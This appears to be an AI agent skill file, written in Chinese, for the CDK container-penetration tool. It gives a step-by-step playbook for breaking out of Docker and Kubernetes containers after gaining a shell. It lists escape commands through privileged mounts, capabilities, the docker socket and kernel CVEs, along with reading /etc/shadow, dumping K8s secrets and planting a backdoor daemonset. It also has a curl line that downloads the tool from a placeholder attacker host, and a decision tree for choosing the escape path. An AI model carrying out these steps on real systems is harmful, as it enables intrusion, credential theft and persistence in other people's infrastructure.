| name | cdk-escape |
| description | 使用 CDK 进行容器环境渗透和逃逸。当已进入容器环境(Docker/K8s Pod)需要评估逃逸可能性、利用容器漏洞、或进行容器内信息收集时使用。CDK 集成了容器环境评估、多种逃逸技术(privileged/mount/cgroup/lxcfs/runc/内核漏洞)、容器内横向移动。拿到容器 shell 后第一步就应该运行 CDK 评估。涉及容器逃逸、Docker 渗透、K8s 安全、容器提权的场景使用此技能 |
| metadata | {"tags":"cdk,container,docker,kubernetes,k8s,escape,逃逸,容器,privileged,cgroup,runc,pod","category":"tool"} |
CDK 容器渗透与逃逸
CDK 是容器渗透的瑞士军刀——一个二进制解决容器内信息收集、漏洞检测、逃逸利用。拿到容器 shell 后,先跑 CDK 评估,再选逃逸路径。
项目地址:https://github.com/cdk-team/CDK
第一步:环境评估
进入容器后立即运行评估,CDK 会自动检测所有可能的逃逸路径:
cdk evaluate
逃逸技术
特权容器逃逸
cdk run mount-cgroup "cat /etc/shadow"
cdk run mount-disk
cdk run mount-procfs "cat /etc/shadow"
capabilities 逃逸
cdk run mount-cgroup "whoami"
cdk run cap-dac-read-search
cdk run check-ptrace
cdk run shim-pwn
Docker Socket 逃逸
cdk run docker-sock-check
cdk run docker-sock-deploy "attacker_image"
K8s 逃逸
cdk run k8s-secret-dump
cdk run k8s-configmap-dump
cdk run k8s-backdoor-daemonset
内核漏洞逃逸
cdk run exploit-CVE-2021-22555
cdk run exploit-CVE-2022-0847
cdk run runc-pwn
容器内信息收集
cdk run service-probe 10.0.0.0/24
cdk run k8s-service-discovery
cdk run cloud-metadata
工具投递
CDK 是静态编译的单二进制文件,投递到容器很方便:
curl -o /tmp/cdk https://ATTACKER/cdk && chmod +x /tmp/cdk
决策树
进入容器后:
├─ 第一步:cdk evaluate(自动评估所有逃逸路径)
├─ privileged=true → cdk run mount-cgroup / mount-disk
├─ 有 docker.sock → cdk run docker-sock-deploy
├─ 有 K8s SA Token → cdk run k8s-secret-dump
├─ 有 capabilities → 对应 capability 的利用
├─ 以上都没有 → 检查内核版本,尝试内核漏洞
└─ 也逃不了 → 容器内横向(service-probe 扫网段)